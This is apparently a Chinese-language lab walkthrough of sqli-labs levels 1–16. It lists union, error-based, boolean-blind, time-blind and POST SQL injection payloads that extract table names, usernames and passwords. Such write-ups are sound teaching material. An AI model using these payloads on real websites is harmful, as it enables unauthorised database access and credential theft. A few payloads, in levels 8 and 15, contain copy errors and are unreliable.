目录
目录
首先搭建好sqli-labs靶场,我这里搭建在了本地上(使用phpstudy)
第一关:字符型+单引号闭合
1.判断是否存在注入点
首先通过get传参方式在url后面添加
?id=1' 页面返回错误
存在sql注入点
2.判断注入的数据类型以及闭合类型
?id=1' and '1'='1 运行正常
?id=1' and '1'='2 运行异常
这里要注意语句的闭合!!!
回显正常,判断出这里注入数据类型为字符型
?id=1' 页面返回错误
?id=1" 页面返回正常
输入单引号报错,双引号回显正常,为单引号闭合
3.开始执行sql注入语句,判断字段数,可以从小数开始试
?id=1'order by 3 --+ 运行正常
?id=1'order by 4 --+ 运行异常
要将语句闭合才能不报错,可以加注释符“--+”或“#”!!!
判断出列数为3
4.使用联合查询来搜寻数据
要在页面对于运行正常和运行错误都有回显的情况下才能使用,否则无法判断是否执行成功
?id=-1' union select 1,2,3--+ 运行正常
注意:前面的语句结果要为null,为无效语句,才能继续执行后面的语句
查询表:
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查询列:
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
信息提取:
列名出来后,有user和password两个敏感信息,再提取信息
?id=-1' union select 1,2,group_concat(id,username,password) from users--+
第二关:数字型
这里的步骤都类似,就不过多赘述了
1.判断是否存在sql注入点
2.判断数据类型
判断为数字型
3.判断字段数
?id=1 order by 3 --+
4.联合查询
?id=-1 union select 1,2,3
因为这里是数字型,不用考虑闭合问题,无需加注释符
查询表:
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
查询列:
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
信息提取:
?id=-1 union select 1,2,group_concat(id,username,password) from users
第三关:单引号+括号闭合
1.判断是否存在sql注入点
sql注入点存在
2.判断数据类型以及闭合类型
为字符型,
由下方提示可知闭合方式为 ') 闭合。
3.判断列数
?id=1') order by 3--+
列数为3
4.联合查询
由于步骤都一样,下方只给出有效执行语句
?id=1') union select 1,2,3--+
查询表:
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查询列:
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查询数据:
?id=-1') union select 1,2,group_concat(id,username,password) from users--+
第四关:双引号+括号闭合
1.判断是否存在注入点
单引号不行,使用双引号判断
存在
2.判断数据类型以及闭合类型
从提示可知,数据类型为字符型,闭合方式为双引号加()
3.判断列数
4.执行sql语句
?id=-1") union select 1,2,3--+
查询表:
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
查询列:
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
查询数据:
?id=-1") union select 1,2,group_concat(id,username,password) from users--+
第五关:盲注(报错注入)
1.
存在SQL注入
2.
发现页面回显只有两种,报错没有显示了,所以这里要使用盲注,不能使用联合查询,这里使用报错盲注
3.判断字段数
4.使用报错函数updatexml:
得到数据库名:
?id=1' and updatexml(1,concat('~',(select database()),'~'),1)--+
得到数据表名:
?id=1' and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema= database()limit 3,1),'~'),1)--+
依次查询,发现limit 3,1时查到含敏感信息的表users
得到数据库列名:
?id=1' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1)--+
?id=1' and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 2,1),0x3a),1)--+
接下来就可以查询敏感信息了:
?id=1' and updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1)--+
将limit n,1的n改变就可以查到其他的数据
第六关:双引号闭合+报错注入
1.
存在注入点且为双引号闭合
2.字段数为4
3.
数据库:
?id=1" and updatexml(1,concat('~',(select database()),'~'),1)--+
数据表:
?id=1" and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema= database()limit 3,1),'~'),1)--+
列:
?id=1" and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1)--+
敏感信息:
?id=1" and updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1)--+
第七关:
1.
存在注入点
2.判断闭合方式
几次尝试下来后得到闭合方式为 单引号+两个括号闭合
3.
4.之后的步骤就和前面的报错注入一样啦,除了闭合方式不同,这里就不多赘述啦
第八关:盲注(布尔盲注)
1.判断是否有注入点
发现存在注入点,且报错页面无回显,只能通过这两种页面来判断,所以这里使用布尔盲注
2.判断字段数
3.猜解数据库信息
数据库:
数据库长度:
?id=1' and (length(database()))>8--+
通过length函数来判断数据库名长度,通过修改数字范围可以得到数据库长度,这里得到为8
数据库名字:
通过ASCII码来判断数据库名字中的数字或字母
例如;
?id=1' and ascii(substr(database(),1,1))>114--+
?id=1' and ascii(substr(database(),1,1))>115--+
根据其ascii码范围的改变以及页面回显判断出,该数据库名的第一个字符的ASCII码为114,对应字符为“s”,因为逐个测试工程量太过于麻烦,所以可以自己编写一个脚本来节约时间,可以一下全部判断完。
表:
表长度:
?id=1' and (length((select table_name from information_schema.tables where table_schema=database() limit 0,1)))>6--+
测试limit 0,1时>6时页面无回显,判断出第一个表长度为6
表名:
?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>117--+where table_schema=database() limit 3,1)))>5--+
判断出第一个字符ASCII码为116,字符为“u”
列:
列长度
?id=1' and (length((select column_name from information_schema.columns where table_schema=database() and table_name="users"limit 0,1)))>2--+
判断出第一个列长度为2
列名字:
?id=1' and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))>117--+
判断出第一列的第一个字符为“u”
过程都一样就不多赘述,最终测试到有username和password,对这两列进行下面的测试
数据:
数据长度:
?id=1' and length((select password from users limit 0,1))>4--+
长度为4
数据名字:
?id=1' and ascii(substr((select password from users limit 0,1),1,1))>68--+
第一个字符ASCII码为67。后面的原理都相同,只需把测试的位置改变一下即可。
第九关:盲注(时间盲注)
布尔与时间盲注看页面报错情况,若发现注入语句正确页面正常,注入语句错误页面是类似空白页面(false)那么就用布尔盲注。若无论注入语句正确还是错误,页面均正常的话,就用时间盲注。
使用到的函数:
sleep():让数据库执行时休眠,参数是休眠的时长,以秒为单位,也可以是小数。
1.判断注入点
发现怎么改页面都是一个,所以使用时间盲注来判断是否存在注入点
?id=1' and 1=1 and sleep(5)--+ 页面延迟了5秒
?id=1' and 1=2 and sleep(5)--+ 页面未延迟
所以判断出应该为字符型且为单引号闭合
2.判断字段数
?id=1' and sleep(5) order by 3--+
3.猜解数据库信息
这里使用到的注入思路和布尔盲注类似,只是在其基础上在加上if判断和sleep()函数,当if函数里面内容正确时进行延迟,以此来区分错误与正确的回显。
数据库:
长度:
?id=1' and if(length(database())>7,sleep(5),1)--+
大于7时延迟,大于8时直接跳转,说明其长度为8
名字:
?id=1' and if(ascii(substr(database(),1,1))>114,sleep(5),1)--+
大于114时延迟,大于115时无跳转,说明第一个字符ASCII码为114,对应字符为s
以此类推
由于剩下的思路和上面以及布尔盲注的思路类似所以下面只给出关键的payload啦
数据表:
长度:
?id=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 3,1))>4,sleep(5),1)--+
名字:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>116,sleep(5),1)--+
列:
长度:
?id=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1))>7,sleep(5),1)--+
名字:
?id=1' and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))>116,sleep(5),1)--+
数据:
长度:
?id=1' and if(length((select password from users limit 0,1))>3,sleep(5),1)--+
名字:
?id=1' and if(ascii(substr((select password from users limit 0,1),1,1))>67,sleep(5),1)--+
第十关:双引号闭合+时间盲注
1.判断注入点
?id=1 and 1=1 and sleep(5)
?id=1' and 1=1 and sleep(5)--+
?id=1"and 1=1 and sleep(5)--+
通过上述几番测试下来,发现存在注入点,且注入类型为字符型和双引号闭合
2.判断字段数
?id=1"and sleep(5) order by 3--+
判断出字段数为3
3.判断数据库信息
因为后面的思路与第九关相同,只是改变了闭合方式,所以下面只给出关键的payload
数据库:
长度:
?id=1" and if(length(database())>7,sleep(5),1)--+
名字:
?id=1" and if(ascii(substr(database(),1,1))>114,sleep(5),1)--+
数据表:
长度:
?id=1" and if(length((select table_name from information_schema.tables where table_schema=database() limit 3,1))>4,sleep(5),1)--+
名字
?id=1" and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>116,sleep(5),1)--+
列:
长度:
?id=1" and if(length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1))>7,sleep(5),1)--+
名字:
?id=1" and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))>116,sleep(5),1)--+
数据:
长度:
?id=1" and if(length((select password from users limit 0,1))>3,sleep(5),1)--+
名字:
?id=1" and if(ascii(substr((select password from users limit 0,1),1,1))>67,sleep(5),1)--+
第十一关:post方式注入
1.判断注入点
我们随便输入一个用户名和密码,使用Burpsuite抓包
抓到的包发送到repeater模块,查看正常回显是什么内容
这里有uname和passwd两个值,这两个都可能是注入点,我们都可以尝试一下
首先在uname的值加上单引号
数据库语句报错,在password同理
说明这两个字段都存在注入点
2.判断注入的数据类型以及闭合方式
uname=123' and 1=1# 回显正常
uname=123' and 1=2# 无回显
说明这个注入点是单引号闭合错误的注入漏洞
3.判断字段数
uname=123&passwd=123' order by 2 # 回显正常
uname=123&passwd=123' order by 3 # 回显错误
说明字段数为2
4.猜解数据库信息
需要在passwd这点注入才会回显,因为我们在最后加入了注释符#,会把passwd这个字段的值給注释掉,导致没有数据的正常回显。
使用联合查询语句 union
数据库:
uname=123&passwd=123' union select 1,database() #
数据表:
uname=123&passwd=123' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
列:
uname=123&passwd=123' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #
数据:
uname=123&passwd=123' union select 1,concat_ws(',',id,username,password) from security.users limit 0,1 #
第十二关:post方式双引号闭合
思路和第十一关相同
第十三关:post方式单引号加括号闭合+报错注入
1.判断注入点
说明在uname和passwd里都有注入点
2.判断注入的数据类型以及闭合方式
根据上方的报错提示可以推测出是单引号加括号闭合,尝试一下
发现没有报错。同时没有回显信息,说明这里可以使用报错注入。
3.判断字段数
uname=123&passwd=123') order by 2 # 无回显
uname=123&passwd=123') order by 3 # 回显错误
4.使用报错函数updatexml:
得到数据库名:
uname=123#&passwd=123')and updatexml(1,concat('~',(select database()),'~'),1)#
得到数据表名:
uname=123#&passwd=123')and updatexml(1,concat('~',(select table_name from information_schema.tables where table_schema= database()limit 3,1),'~'),1)#
得到数据列名:
uname=123#&passwd=123')and updatexml(1,concat(0x3a,(select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),0x3a),1)#
查询敏感信息:
uname=123#&passwd=123')and updatexml(1,concat(0x3a,(select password from users limit 0,1),0x3a),1)#
第十四关:post方式双引号闭合+报错注入
思路和第十三关相同
第十五关:post方式单引号闭合+时间盲注
1.
在两处都分别插入单括号和双括号,发现都没有报错和回显,在尝试实现无账号登录
uname=1 ' or 1 = 1#&passwd=123&submit=Submit
发现有另一种回显,那么这里布尔盲注或者延时注入就都可以使用
这里使用时间注入:
2.判断字段数
uname=1' and sleep(5) order by 3#&passwd=123&submit=Submit
3.猜解数据库信息
数据库:
长度:
uname=1' and if(length(database())>7,sleep(5),1)#&passwd=123&submit=Submit
名字:
uname=1' and if(ascii(substr(database(),1,1))>114,sleep(5),1)#&passwd=123&submit=Submit
数据表:
长度:
uname=1' and if(length((select table_name from information_schema.tables where table_schema=database() limit 3,1))>4,sleep(5),1)#&passwd=123&submit=Submit
名字:
?id=1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),1,1))>116,sleep(5),1)#&passwd=123&submit=Submit
列:
长度:
uname=1' and if(length((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1))>7,sleep(5),1)#&passwd=123&submit=Submit
名字:
uname=1'and if(ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_name="users" limit 1,1),1,1))>116,sleep(5),1)#&passwd=123&submit=Submit
数据:
长度:
uname=1'and if(length((select password from users limit 0,1))>3,sleep(5),1)#&passwd=123&submit=Submit
名字:
uname=1'and if(ascii(substr((select password from users limit 0,1),1,1))>67,sleep(5),1)#&passwd=123&submit=Submit
第十六关:post方式双引号和括号闭合+时间盲注
思路和第十五题相同